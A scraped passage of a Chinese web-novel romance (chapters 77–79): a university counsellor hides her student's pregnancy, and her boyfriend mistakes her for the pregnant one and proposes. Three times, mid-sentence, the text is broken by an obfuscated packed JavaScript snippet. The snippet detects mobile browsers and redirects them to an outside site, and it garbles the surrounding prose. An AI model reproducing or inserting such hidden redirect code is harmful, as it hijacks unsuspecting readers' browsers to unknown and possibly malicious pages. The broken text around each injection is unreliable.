平时很少来艺术楼,现在临近元旦,里面可谓是热闹非凡,像一个春晚后台,各种表演者集聚于此,有合唱团,舞蹈组合,还有话剧表演。 陈夏柠快要在这感到晕头转向,还好在三楼主舞台下面碰见了祝朗月,她正在第一排坐着认真观摩一场话剧。 看见她,祝朗月招招手示意她坐过来,说这是他们外院的节目,让她提点意见。 陈夏柠抬头望向舞台,客套地笑了笑:“我可没艺术细胞啊,对话剧更是一窍不通,我的意见那就是瞎指挥。” “以观众的身份去感触就行了,”祝朗月漫不经心道,“谁说你没艺术细胞了,你画画不是挺好嘛?” 陈夏柠愣了下,扭头看她:“你怎么知道.....” 祝朗月会心一笑:“你不是说过自己想报南大美院么,那肯定之前画画很好咯。” “我现在已经完全变成业余的了。”陈夏柠顿了一下,想起正事,“你知道主持人在哪排练吗?” 舞台的话剧进入高潮,音乐此起彼伏地笼罩四周,祝朗月噗嗤笑出声:“搞了半天你也变成天选之子了啊。” 陈夏柠:“......嗯嗯。” “跟我来。”祝朗月从座位起身,带她走出主舞台区域,上四楼去单独的训练室。 从走廊走到里面的一路,许多训练室的门敞开着,每个房间的装潢大差不差,化妆台和更衣室,足够宽敞。 他们这训练室临时划出来的,很新也够宽敞,有一面镜墙。 “元旦的主持词后天才能定下来,你每天晚上可以来这训练,记得喊上我啊。” 陈夏柠点点头,原来自己来早了。 “还有元旦礼服,我建议你去外面婚纱店租一个,学校给的不合身也不好看。”祝朗月提醒,“学校报销的。” “那行。”陈夏柠正想说没什么事自己先走了,谁知隔壁传来热闹的起哄声,紧接着又响起好听的钢琴乐。 两人站在门口观望,她一眼看见了林思、池一舟和温可颜,这里面有很多熟悉的面孔。 “咦,这都是你们航院的学生吧,”祝朗月对辅导员林思有点印象,扫描了眼屋内的学生,“不愧是航院,男生真多,和我们外院相反。” 陈夏柠轻点头,目光直勾勾地望向弹钢琴的女生,温可颜弹奏的是《卡农》,刚接触钢琴的时候,她学的就是这个曲子。 《卡农》曲调舒缓,节奏欢快,但是她小时候学得非常痛苦,或许是没有天分,再美妙的曲子在她面前都变成了一项艰难的任务,每天弹到双手麻木,好似失去了知觉。 不知道为什么,温可颜把这首曲子弹得有些伤感,透过人群的缝隙,陈夏柠看见落在琴键的那双手都在发抖。 有人开始窃窃私语:“她好像一直挺容易紧张的,不太习惯舞台,让她上台表演真的可以吗?” “主要是咱这也没人会弹钢琴了,更何况女生压根没几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822482|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个。” 这屋的人要集体表演大合唱,温可颜被举荐为钢琴伴奏,她刚刚也不自信地说自己无法胜任,林思就说让她随便弹一曲试试,让大家来评阅。 陈夏柠觉得温可颜应该是心情不好,不是琴艺生分。 就在这时,池一舟拉起墙角置放的一个大提琴,坐在她旁边合奏,这男生的大提琴拉得非常有感染力,连带着弹奏钢琴的温可颜都被熏陶,跟着他的节奏被带上正轨。 钢琴遇上大提琴的场面属实震撼,也足够动人,不禁让陈夏柠想起十五岁那年,她忙于备战中考,临时被萧婷带去一个商业晚会上。 “夏夏,你好好弹一曲你擅长的就行啊,让爷爷为你感到骄傲。” 她说自己害怕,萧婷给她戴上舞会面具,让她无法拒绝。 即使那些人看不清她的面容,陈夏柠坐在大厅中央,被一群人围着观看,感觉自己像个吉祥物被观摩,她很不喜欢这种感觉,所以这钢琴弹到一半时,她大脑开始断片,不记得后面怎么弹了。 围观的那些大人交头接耳地议论着,从他们的表情中可以读出——“陈家千金的钢琴这么差的嘛?这样也好意思上台表演。” 比起这些嘲笑,陈夏柠更畏惧的是妈妈满脸写着失望,她每次都是这样,很想努力做好一件事反倒弄巧成拙,再加上最近备战中考,学习压力太大,做什么事都难以在状态。 正当她觉得无助时,人群中响起另一个乐器声,跟她弹的是同一首,直到众人让道,陈夏柠只用稍稍的余光瞥见,男生肩膀上架着一支小提琴。 她很快收回视线,专心致志跟着他的节奏把这首曲子弹到结尾。 好在一曲落,席间迎来热烈的掌声。 陈夏柠暂且松一口气,萧婷在台下使劲给她打手势提醒谢幕,满头大汗的小姑娘急忙起身,向四周的观众颔首。 也注意到了那位侧身面对自己的男孩,他一身黑色西服,气质非凡,戴着深蓝色面具,神秘感在他身上,像极了童话故事的王子。 也不知他是谁,但来这晚会的肯定都是豪门子弟。 萧婷就把她拉走,陈夏柠也没继续看下去。 场景拉回,陈夏柠看着池一舟和温可颜,莫名在磕一种不成立的CP。 林思拍拍手示意大家安静,“温可颜,你每天晚上再多熟练熟练,肯定可以的。” “好。”温可颜起身捞起手机从另一个门出去。 陈夏柠也跟祝朗月说自己先走了,两人都在往电梯口方向。 “江澈,你不是说要来看我表演的吗?”温可颜打过去电话,将手机贴到耳边。 浑然没有注意到身后的陈夏柠。 “我知道了,你总是很忙。”这话带着抱怨,她直接挂断电话。 停在电梯门口,温可颜弓着身体,单手支着墙壁。 “你怎么了?”陈夏柠站在一边看她脸色,感觉她很虚弱,气色不太好。 “我就是训练太累了……”话间,温可颜抬头看她一眼,一只手捂着肚子,整个人缓缓蹲了下去。 “是不是生理期来了?”陈夏柠蹲下去扶她。 温可颜实在体力不支,下一刻便靠在了她肩膀上。 陈夏柠瞬间慌了,抬眼看了下四周,恰好池一舟也出来了,她跟他招手。 池一舟见状跑了过来,男生的力气大,直接把女生背在身后。 十分钟后,医务室。 温可颜躺在床上,医生做了一番检查,拉开帘子,陈夏柠问她怎么样了。 女医生看了眼旁边的男生,欲言又止。 陈夏柠瞬间了然,推搡着池一舟出去,“你去外面接点热水。” “哦好。”池一舟不明所以地跑出去。 女医生看了下陈夏柠急切的目光,“你还是带她去市医院检查一下吧,她应该……应该是怀孕了。” “……” 刹那间,陈夏柠好似耳鸣了一样,难以置信地磕巴道:“怀…怀孕?” 77. 疲倦期 今年搜救局招了许多学员,十二月的飞行考核升了四名机长,五名副驾,搜救队的人手增多,好处就是可以确保每位队员有足够的修养调整时间,不用像之前那样连轴转个不停。 再加上12月底不是出海打鱼旺季,内陆和沿海的船只明显减少,周祈越最近不用轮夜班,也能早点下班回家,不用一直住在基地。 好不容易两人能天天见面了,陈夏柠整个人蔫了似的,回到家无精打采,连吃饭也跟只猫一样,没吃几口就放下,周祈越最初以为自己的饭她吃腻了,专门新学了几道开胃小菜。 这姑娘还是一副很累很疲惫的样子,洗完澡坐在沙发上看电视剧,陈夏柠靠在他怀里,眼睛盯着电视机,时不时走神,微不可查地叹气。 跟他待在一起还这样,周祈越不禁怀疑,他们俩进入了恋爱疲倦期。 就是传说中的,有一方对另一方失去新鲜感,没有激情,整天板着脸拒绝沟通,久而久之,两人发生口角争执,厌倦的那一方会先提出分手。 思及此,周祈越越想越觉得如坐针毡,扭头看她半晌,试探性地问:“最近工作是不是很累,看你状态也不太好,要不请假休息几天。” 陈夏柠秒变一副无所事事的样子,摇头轻笑了下:“没有啊,我挺好的。” “......” 周祈越心一凉,不好的预兆,她这是拒绝沟通,搪塞他。 陈夏柠扭回头继续看电视屏幕,眉头紧锁着发呆,最后实在无聊,起身打哈欠回卧室,“我先去躺着了。”刚走两步又看他一眼,提醒说:“我最近起得比你早,要是影响你的生物钟了,我就回我家睡。” “你影响不到我。”周祈越不以为意地说,心里又开始拔凉拔凉的,她这句话不就是在委婉拒绝,不想跟他睡在一个房间吗。 热恋期的时候,两人有空就腻歪在一起,现在这情况反差不要太大。 周祈越坐在客厅也没心思看电视剧了,赶紧掏出手机搜索如何度过恋爱疲倦期。 而在卧室的陈夏柠靠着床头,双手捧着一个平板,同样打开了百度,搜索有关怀孕的知识。 已经过去五天了,她还是不敢相信,温可颜怀孕了? 她的学生怀孕了! 未婚先孕?! 卧槽! 她在心中震惊很多遍,现在的大学生怎么能这么敢。 救命! 好不容易考察期快结束了,底下的学生出了这种事。 这...这该怎么办。 陈夏柠这几天焦灼得茶不思饭不想,搞得好像怀孕的人是她似的。 这件事她还在帮温可颜瞒着。 那天校医悄悄跟她说完后,陈夏柠当即叫了一辆车,说她气色太差,怎么着也得去正规医院看看,温可颜没法推辞,跟她一起去。 本来池一舟也不放心想跟过去,陈夏柠三言两语便把他打发走了。 到了市医院,温可颜跟着她的步骤走到妇产科门口,就笃定导员肯定知道她怀孕了,于是不肯进去,拉着她的手恳求:“导员...我求你,不要说出去。” 陈夏柠目光沉沉地看向她,原来她知道自己怀孕了,忍住想教训人说大道理的冲动,冷静地说:“既然来了还是找医生做个检查吧,你今天的症状实在不太好,自己的身体自己要爱护。” “你放心,我不会乱说的。”为了安抚她听话做检查,陈夏柠补充了句。 “嗯。”温可颜自然相信陈夏柠,上次跟江澈闹分手,两人深入交谈后,她就知道陈夏柠跟别的辅导员不一样,她会站在学生的角度考虑,于是信任地攥着她的手腕,跟在她身后进屋。 当天,温可颜做了血液和B超检查,确实是怀孕了,已有五周。 医生说她身体太瘦了,营养跟不上,胎像也不太稳,给她开了一些安胎药和补剂。 从获知她怀孕的那一秒,陈夏柠的心压根没定过,惴惴不安地为她担心,也为自己该怎么处理这件事焦虑。 两人一走出医院,陈夏柠没忍住问:“你打算怎么办?” 一听这话,温可颜也犯了难,眼神都不知往哪放。 陈夏柠当即改口问:“你什么时候发现自己怀孕的?” 温可颜这才支支吾吾道:“三天前用验孕棒测了一下,就...就知道了。” “江澈的?” “嗯。” “他知道吗?” 温可颜慢吞吞地摇头,说着说着嗓音沙哑:“他去北京参加飞行培训了,去之前我俩还因为一些事拌嘴,我生他的气就没理他,这两天我们和好了,我打算等他回来了再说。” “然后呢?”陈夏柠不禁抬高音量,神色凛凛,严肃地提醒她一件事,“温可颜,你才19岁,连法定婚龄都没到,怎么能......” 怎么能这么不自爱呢?! 这是她想说的话,可话到嘴边看见女生微红的眼眶,陈夏柠及时刹车。 平日里那么乖软的好学生,突然闯了大祸,其实她的内心比任何人都要惊恐和无助,能保持镇定的体面实属不易。 陈夏柠也害怕自己一时口不择言,刺激到她,伤害到她,降下音量叹声道:“你们平日怎么就不知道做好保护措施。” “做了,但......”温可颜难为情地红了脸。 但也抵不住次数频繁。 两人的感情算是从温可颜闹一次分手后升了温,因为她发现,要想让江澈对她死心踏地,不能事事顺着他,也得学会跟他闹小脾气,以此让他更加重视自己。 后来江澈肯主动改变,懂得拒绝那些跟他搭讪的女生,耐心了解她的喜好,有什么事都想着她。 或许他也看明白了自己想要的是温可颜这样真心喜欢自己的人,而不是那些看重他的家世而接近他的女生。 江澈从小没从父母那里感受到陪伴,可温可颜会一直默默陪着他,于是用自己名下的财产买了一套公寓给她。 带她去公寓的那天,江澈抱着她认真说:“以后这也是我们婚房。” 温可颜从来没想过游戏人间的江澈会跟她谈以后,会跟她谈结婚,认定她这个人。 暗恋得以成真,真心换来了真心,小姑娘感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再次回忆起温可颜说的话,陈夏柠只是感叹也只能把一切归咎于,她还是太年轻了。 既然江澈的父亲都反对他俩在一起了,江澈愿不愿意负责也是未知数,陈夏柠在叹气声中,趴床上睡着了。 周祈越进卧室时,给她盖好被子,将床上的平板拿走,屏幕一亮显示电量不足,他拿起平板去客厅找到数据线插上。 这平板有人脸识别功能,扫描到他的脸,立马开机,未关闭的页面停留在百度,搜索话题为:【怀孕的人应该吃什么补身体】 周祈越霍然一愣,一眼扫过整个搜索历史。 【孕妇的注意事项】 【如何调节孕妇的心理状态】 【未婚先孕应该怎么办】 ...... 全是跟孕妇有关的话题,周祈越点开其中一条搜索,其中有说到孕妇情绪低落,做什么事都精神不振,很容易犯困..... 还有孕妇情绪极为敏感,思虑过多,可能封闭自己,拒绝沟通,需要家人及时提供情绪价值...... 周祈越挠了挠头,平板烫手似的扔到一边,站着不是坐着也不是,整个人晕头转向地在客厅打转。 这些症状全部对上了,跟陈夏柠这几天的状态一模一样。 本来他正苦恼她怎么回事,还质疑两人进入疲倦期了,刚刚在网上一番搜索专门找了一些新颖的约会方式,打算明天带她去玩散心。 现在找到原因了。 柠柠....她....她怀孕了?! 78. 求婚 陈夏柠一晚上做了三个梦,往常的海边男孩女孩场景、有关温可颜怀孕的事,以及自己考察期的结果。 真是难为自己了,这个觉睡得真累,还好今天是周六,她早上睁开眼看见旁边空荡荡的,料想周祈越上班出任务去了,又闭上眼补觉。 事实证明,心里装着事,怎么睡都不安稳。 半小时后,陈夏柠踢开被子,从床上坐起身,深呼吸一口气,趿着拖鞋出卧室。 没睡好就浑身没劲似的,懒得去洗脸刷牙,然后往客厅里走。 瞅准沙发,陈夏柠直接盘腿坐上去,搂着香蕉抱枕,下巴搁在上面支着。 一个人发呆,好像整个世界都安静下来,清晨里那些细小的声音在耳畔放大——鸟儿在檐下扑腾翅膀,微风鼓鼓地吹动窗帘,厨房传来轻微的锅碗瓢勺碰撞。 紧接着,嗅觉也有了反应,什么东西好香啊。 陈夏柠抬头看向厨房位置,门口闪而过一道很养眼的背影,男人穿着一套灰色纯棉华夫格家居服,肩膀挺阔,后颈白皙,棘突明显。 “你在做什么啊。”陈夏柠猫着头,从身后出声,嗓音懒洋洋的,“还以为你去上班了。” 周祈越转眼瞧见这姑娘发丝凌乱蓬松的样子,盖上锅保留神秘感,两只手抓住她肩膀把人从厨房推到洗漱间边说:“我今天也休息,一醒来就能享受我的服务,你就偷着乐吧。” “.......” 陈夏柠要去挤牙膏,周祈越先她一步挤好,把牙刷放她手上。 小姑娘正刷着牙,目不转睛地盯着镜子看男人的“服务”,他一手拿气垫梳给她梳理长发,另一只手掌按在她发顶,避免扯疼她。 整理完毕后,周祈越又拿起她的发圈扎低马尾,所有的动作都井井有条,很熟练很细致。 “你是不是帮过其他女生做过这些?”陈夏柠低头吐了口泡沫漱口,猜测地问。 “我有没有跟你说过家里有个妹妹?”周祈越看着镜面,料想她是不是在吃醋,赶紧打消她疑虑老实交代。 “以前爸妈工作忙,就我们两在家,她就是一个娇气的小公主,干什么都笨手笨脚的,像这种梳头发的事,我在她身上试验很多回也就熟练了。” “还是第一次听你说,”陈夏柠心想她妹妹真幸福,其实自己很多时候也是笨手笨脚的,“哦,原来你对我的关照是因为把我当成你妹妹了。” “.......” 周祈越噗嗤一声笑了,佩服这姑娘的脑洞,捏着她的脸咬牙道:“你要是她,我一定把你轰出去,这样我的生活清净不少。” 听这口气,原来是一对冤家兄妹啊。 “你小心我跟你妹告密。”陈夏柠低头洗完脸,正往脸上拍水乳。 周祈越打量一下这句话,提了提眉梢:“是不是想见我家人了?也行,我最近安排安排。” 陈夏柠瞳孔放大,动作一停。 什么啊?! 她根本没这个意思好不好! 周祈越还在认真说:“我爸妈倒是能见上,妹妹还在国外,暂时见不了。” 随即掏出手机看了眼日期,说风水就是雨,“要不元旦的时候带你回家。” “......不是,我——!”陈夏柠顿时凝噎,他是来真的。 鹿雯前几天还在问她,周祈越什么时候见岳父岳母,现在反而变成丑媳妇要见公婆了。 陈夏柠被他拉着去餐桌吃饭,扭捏推辞:“要不再等等。” 她没做好心理准备。 话间,周祈越从厨房端来一锅香菇瘦肉青菜粥给她盛一碗,心里想的是这事不能等,毕竟她都怀孕了。 陈夏柠眼前一亮,露出惊喜的笑容。 昨晚自己在网上搜索适合孕妇喝的营养粥,现在周祈越刚好会做香菇瘦肉青菜粥。 这下就方便多了,可以跟他学,然后带给温可颜,给她补补身体。 温可颜的身体太弱了,平日饮食也得跟得上,她第一次怀孕估计什么都不懂。 其实苦恼了一晚,陈夏柠想明白了,焦虑有什么用,倒不如放宽心面对问题。 一定得温可颜保守秘密,要是弄得人尽皆知,小姑娘脸皮薄指不定会闹出什么人命,到时候她这个导员也算彻底玩完了。 嗯,暂且这样。 周祈越拉起凳子坐她对面,懂得她见家长的忐忑,“你放心,我爸妈不会为难你,只要我能往家里带个女的,他俩都能乐得一晚上睡不着觉。” 陈夏柠喝着粥,正想称赞口味不错,听到他这话,嘴里的粥差点喷出来:“你这话说的,你以前好像是男同。” 周祈越:“.......” 这么会抬杠,真就快像那个喜欢跟他怼天怼地的妹妹了。 吃完早餐,她又开始往沙发上一窝,周祈越挨着她一坐下就报复性地挠她咯吱窝。 陈夏柠特别怕痒,应激似的缩作一团,“你别闹,我好累。” 周祈越猛地想起不能跟一个孕妇这么胡闹,赶紧收回手,往旁边规矩坐好,轻咳一声:“你有没有什么话想跟我说。” 她心想能有什么话,无非就是最近工作一个头两个大,这些问题她自己能消化,好好睡一觉就可以了,没必要说出来影响他的心情。 “你老实一点就行。”陈夏柠生怕他继续教训自己,赶紧拉开距离,往长沙发上侧躺着,立刻闭眼,睡觉。 周祈越:“......” 到了中午,陈夏柠喝了栗子乌鸡汤,晚上又被投喂枸杞汤山药粥。 第二天周日早上睡完懒觉醒来,餐桌上堆满了新鲜水果,周祈越在厨房捯饬果汁给她喝。 这一天天的,陈夏柠感觉自己的饮食,特别健康,特别营养,特别滋补。 休整一天,她精神气恢复许多,捋清袖子进厨房,请教周大厨,“教教我,香菇瘦肉青菜粥怎么做的啊?” “想喝我给你做。”周祈越勾唇一笑,原来她喜欢喝这个粥,欠兮兮地,“你给个吻,我这就给你做。” “......” 陈夏柠偏偏一身反骨就不示弱,自己按照网上的教程学习,中途观摩的周祈越看不下去时就帮她一下。 其实他也纳闷,陈夏柠为什么还没跟他坦白。 他知道孕妇思虑过度,顾虑很多,尤其是这样未婚先孕的..... 想到这,周祈越豁然开朗,想明白了什么,“下午我出去买点东西。” “好啊。”陈夏柠尝了一口自己熬的粥,算是成功之作了,闲散道:“下午我也要出门,和念念去一趟婚纱店选元旦晚会的礼服。” 周祈越眉梢微扬,点头嗯了声:“想好去哪了么?” - 关于着装这事,陈夏柠一直相信许佳念的眼光,昨晚跟她发消息说自己想租礼服,许佳念一听乐此不彼。 下午两点,许佳念直接开车到小区门口亲自接她了,陈夏柠坐上车,双手合十地感谢:“晚上我请客。” “这还差不多。”许佳念从不跟她客套,启动车子,咂咂嘴,“也是难得啊,你会去当元旦晚会的主持人,我记得高中的时候,一听到这种抛头露面的活动,你恨不得找个洞钻进去。” “......” 陈夏柠认真想了想那个时候的自己,生出了些陌生感,毕竟现在的她勇敢了许多,也能将自己的人生握在手中了。 这几年,她一直都在尝试从前不会做的事。 陈夏柠淡然一笑:“等会儿发挥你的火眼金睛,选一件....嗯...好看的吧。” 她也不太清楚要什么样的了。 许佳念带她来的这家婚纱馆挺大,第一层摆放各种婚纱,第二层是各式各样的礼服。 两人分开行动筛选,陈夏柠选的全是那种保守的素雅的,许佳念看过之后一眼否定,直接递给她一件黑色抹胸款,“把你手里的那些全部丢到太平洋去。” “......” 陈夏柠蹙着眉,进试衣间换上黑色礼服,出来的时候双手捂着胸,浑身不自在,“念念,这个太露了。” “礼服就是这样才好看啊,很多明星都这样穿。” 许佳念打量了下她曼妙的身姿,感叹她身材真好,干脆上前扯开她双手,惊呼一声:“哇,夏夏,你的胸变大了?!” 陈夏柠:“......” 许佳念这一吼,整个大厅的人都要听见了。 陈夏柠急忙去捂她的嘴。 “我说真的耶,”许佳念不依不挠道:“高中那会儿我还觉得你胸比同龄人小,现在变得好有料,太性感了!” 陈夏柠忙不迭又把手捂上。 许佳念继续脑补,危险发言:“我听说谈恋爱的人,胸会变得大,跟男朋友接吻时被摸大的。” “许佳念!”陈夏柠真服了她了,又羞又恼地拍打了下她,“禁止yy,跟本没有的事。” 许佳念一脸认真和好奇的样子:“啊,周祈越接吻时没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850212|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸过你的胸吗?” “......没有。”陈夏柠感觉这话题绕不过去了似的,转身往更衣室的方向,就此打住。 这件礼服很紧身,刚刚也是费劲穿上,现在手臂背过去扯拉链,从开头就卡住了。 “念念,你过来帮我拉一下拉链。”陈夏柠累得胳膊酸涩,朝外面喊一声,顺便把门锁拉开,听到走近的脚步声,主动背过身。 身后的门被拉开,灌进一股凉风,随后又关上。 里面的空间并不大,陈夏柠向前移了移,弓着脖颈,将头发往前捋。 一只骨节分明的手揪住礼服的边缘,另一只手捏住拉链,缓缓往下扯。 屋内静得似乎连气流都停止,只有拉链的摩擦声。 陈夏柠的蝴蝶骨生的很好看,白嫩的后背大片裸露出来时,像是带着致命的诱惑般,男人喉结滚了又滚,呼吸变得粗重。 感觉衣服松落的时候,她恍然察觉一股强烈的乌木香包围着自己,怔了一下,侧过身看过去,周祈越眼梢溢出一点红,充满攻击力般。 “你...你什么时候...来的。”陈夏柠的脸火烧一样,双手抓住胸前的裙沿,礼服在她身上要掉不掉的,蛊惑又勾人。 下一刻,周祈越从身后抱住她,下巴搁在她肩膀,大掌从她腹部辗转往上移,落到她胸口,嗓音低哑:“其实我接吻的时候也想摸。” “......” 好了,答案已揭晓。 她和许佳念的对话被听到了?! 陈夏柠脸颊发麻,咬着牙在内心尖叫,说话不过大脑似的,“那...那你怎么没摸过。” “因为在忍着。” “......” 周祈越嗓音难耐,吐出的呼吸带着灼热,惹得她脖颈发红。 陈夏柠后背贴着他,直观地感受到他的生理反应,自己也在双腿发软到快要站不稳。 她松开手时,周祈越的大掌旋即覆上来,轻揉着她那两团浑/圆。 “柠柠,我现在忍不住了。” “......” 陈夏柠浑身一僵,低垂着眼,老实地缩在他怀中,任由他揉捏。 逼仄的空间,暧昧的气息无尽发酵。 周祈越手上的动作未停,低头吻着她颈窝的软肉,陈夏柠料想又要被他种上很多草莓了。 但周祈越并没继续下去,生怕再亲下去控制不住自己,毕竟人肚子里有孩子呢。 也想起了正事,先关上门出去。 陈夏柠脱掉礼服,换上自己的衣服出来时,左顾右看许佳念在哪,周祈越正坐在沙发上看她,“她看见我来了,就走了。” 好吧,这的确是许佳念的做派。 想起刚才在更衣室的场景,陈夏柠现在没法直视他,越过沙发转身要走,周祈越强势地把人拉着坐下。 不知道他又要做什么。 陈夏柠憋红着脸,先是警告:“这大庭广众之下,你敢。” 周祈越噙着笑,将一个文件袋交到她手里,翻书一样变脸,郑重其事地说:“这里面有我的房产、存折、银行卡、车钥匙还有基金,这都是我所有的个人财产。” 陈夏柠往袋子里扫一眼,茫然的神情:你在跟我炫富吗? 下一秒,周祈越从裤子口袋里掏出一个深蓝色丝绒小方盒,啪的一声打开,一枚钻戒映入眼帘。 陈夏柠眨了眨眼,整个无措的模样:“你...你干嘛?” “这么明显还没看出来?”周祈越食指弯起敲了下她脑门,“我在跟你求婚啊,傻瓜。” 陈夏柠:“......” 求婚?! 这两天的生活,她只能用一句话形容——就挺秃然的。 突然被告知要见他父母了。 现在又突然被求婚了。 这些未来会发生的事,猛地被按了加速键。 下一步是不是要突然被告知怀孕了。 “我知道有点仓促,也没想到会这么快。”周祈越正儿八经地说,“我想说的是,无论有没有孩子,这些都是我一直打算向你做的事。既然现在有了孩子,那我就把未来的事提前。” 后面这句话快把陈夏柠的CPU烧干了,“什么孩子?” 周祈越一副“你别瞒我我都知道了”的表情:“你怀孕的事我知道了。” 陈夏柠:“......” 什么!情况?! 竟然真的突然被告知自己怀孕了。 79. 擦枪走火 听周祈越说完来龙去脉,陈夏柠只觉得头大,一个劲地重申自己没怀孕。 婚纱馆的人越来越多,实在不是谈话的好地方,她拎着许佳念选的礼服,去找了一个款式相近的,因为自己实在不习惯抹胸款,换了个有肩的,收腰款,底下是很有层次的黑纱。 这么一看,她把黑色看顺眼了,黑色礼服高级感满满,衬得人端庄大气,很多女人味。 “选好了?”周祈越走过去问。 “嗯。”陈夏柠点点头,扫视一眼馆内,没一个销售空闲,因为临近元旦,来结婚选婚纱的人太多了。 周祈越拿过她选的那件礼服,将文件袋和戒指塞给她,自己去一楼排队登记,“车就停在门口,你先进去等我。” 陈夏柠在文件袋拿出车钥匙,出门找到他的车,坐上副驾,盯着手中的戒指沉思。 陈夏柠说不出来自己什么心情,感到无措之间,有喜悦也有纠结。 如果以后真要和一个人结婚,那么她肯定是想和周祈越。 但现在,她真的有很多问题需要解决。 想到这,陈夏柠翻开手机查看自己发送的邮件。 还没有收到回复。 周祈越拎着礼服走过来,打开后车门把东西放到后座,转身去驾驶位坐好,陈夏柠打开中控台,正要把文件夹和戒指放进去。 见状,周祈越看她一眼,说:“戒指你留着,就当我提前预支了,等你什么时候想结婚,我亲自给你戴上。” 陈夏柠点头说了个“好”,周祈越启动车子,她双手翻转着戒指盒,犹豫一小会儿,讪讪道:“咱俩都没那个...我怎么可能会怀孕。” 周祈越正视前方,有条有理地说:“我这不是看你这几天的状态不对劲,又无意间看见你的浏览器搜索框,你跟孕妇一样浑身懒懒的,疲倦的很,生理期也没来,况且谁没事搜索孕妇这种问题啊。” “......” 他放在方向盘的指尖一顿,意味不明地扯了下唇角:“这种事也说不准,保不齐蹭那一下就有可能,咱俩又不是没有过。” 听到这,陈夏柠浑身血液高涨,低头缩着脖子,那晚无地自容的感觉又来了。 自从见到萧婷后,陈夏柠很少能睡得安稳,一闭上眼就在想小时候的事,有一天晚上辗转反侧,怎么都睡不着。 周祈越躺在她旁边也受影响,随即把人捞进怀里,有一下没一下地拍着她后背,像哄小孩似的,“想什么呢,这么失眠。” 陈夏柠蜷缩着身体,脑海里闪过很多不好的画面,愈发不安分地在他怀中乱动,“就是做了个噩梦,有坏人追着我跑。” “那你抬头看看我,我比坏人更可怕。”周祈越吊儿郎当地补充,“如果你再这么乱动的话。” “......” 陈夏柠哼哧一声,作恶地鼓动被窝:“我睡不着,你也别想睡。” “......” 周祈越彻底没了睡意,既然她这么不安分,他就开始教训人,抬手挠她的腰,陈夏柠也反击去挠他痒痒。 这两人只要一闹起来就跟两个幼稚小孩没什么区别,于是在被窝里乱成一团。 最后越来越激烈,周祈越直接一手钳制她双手按在床头,另一只手撑在她身侧,漆黑明亮的双眸垂下:“投不投降?” 本来在被窝里就热出一身汗,现在他还压在自己身上,陈夏柠浑身热的发烫,嚷嚷着我投降,伸展了下双腿:“快点起开,你什么东西好硬,硌到我了。” “......” 顷刻间,房间静得可怕,他俩总算消停下来。 陈夏柠反应过来什么情况后,两人对视着,周祈越的耳朵红得极为壮烈。 那晚应该是两人最靠近擦枪走火的边缘。 周祈越从她身上起来的第一件事,就是赶紧去浴室洗冷水澡,给自己冷静消火。 后来他们睡在一张床,周祈越也不跟她闹了,睡觉的时候都要保持一点安全距离。 转念一想,这事既尴尬也好笑。 不得不说,周祈越的忍耐力和忍着神龟有得一拼。 “......” 周祈越是顾及她在喝中药,更多的是认为性生活这事要慎重,事关她的清白,不能随随便便,况且女孩子的身体本来就敏感。 陈夏柠对这事也迟钝,他想等她真正愿意的时候。 而不是仅凭他个人的欲望。 ...... 思绪回笼,陈夏柠怯生生解释:“我就是最近工作有点累,搜索怀孕知识是因为我有个朋友怀孕了......” 周祈越哦了声:“你在这搞''我有个朋友''文学,反而欲盖弥彰。” 陈夏柠不知该怎么说了:“......反正不是我,你别问了。” “还有,我觉得喝那个中药后,生理期规律了许多,变成每个月月初来了。” 周祈越嗯了一声:“有用就坚持喝。” 到家的时候已经接近黄昏,周祈越晚饭都没吃,接到任务匆匆走了。 陈夏柠专门熬了粥,装在一个小型保温桶里,拎着去学校。还有一周就是元旦了,主持人的台词已经定稿,趁着晚自习,各学院的导员去艺术楼排练。 “初步演练还可以,就是对着台词大方地念就行了。” 本次元旦晚会的导演是艺术学院的文瑞老师,三十五岁,带着银框眼镜,已经有老艺术家风范了,“时间紧迫,各位导员每晚都来吧。” 屋内响起此起彼伏的应声:“嗯好,听文老师的安排。” 文瑞转去督查其他节目,留下他们自行练习,陈夏柠捞起保温盒,转去隔壁大合唱室,恰好他们也在休息,悄悄把温可颜喊出来。 两人坐在楼道间的阶梯上,陈夏柠打开保温盒,给她递勺子,“把这个喝了吧,很滋补身体。” 温可颜受宠若惊地看她,“谢谢导员。” “没事儿。”陈夏柠分给她一个眼神,“趁热喝,等会要凉了。” “嗯。”温可颜低头舀起热腾腾的香菇瘦肉青菜粥。 陈夏柠把身后通风的门关上,这小小的楼梯间也暖和,坐在她旁边玩了会儿手机,又开口:“江澈,还没回来么?” “没,还得等几天。”温可颜缓缓说:“他这次飞行训练挺重要的,我不想干扰他,等他结束再说吧。” 陈夏柠抿唇一笑,旋即将这个话题绕过去。 她打算每天都给温可颜带营养粥,一直等江澈回来,毕竟这些事是男朋友该做的。 周一就是圣诞节了,陈夏柠原来也是在国外过这节日,海云市的外国人挺多,走在大街小巷,已经可以看见圣诞老人和圣诞树了。 她早上进入办公室的时候,办公位上堆满了苹果,应该是昨晚学生们偷偷给她放的。 陈夏柠拿起手机拍照发班群里:【谢谢同学们啦!祝大家圣诞快乐】 同学们纷纷开始刷屏,祝导员圣诞快乐。 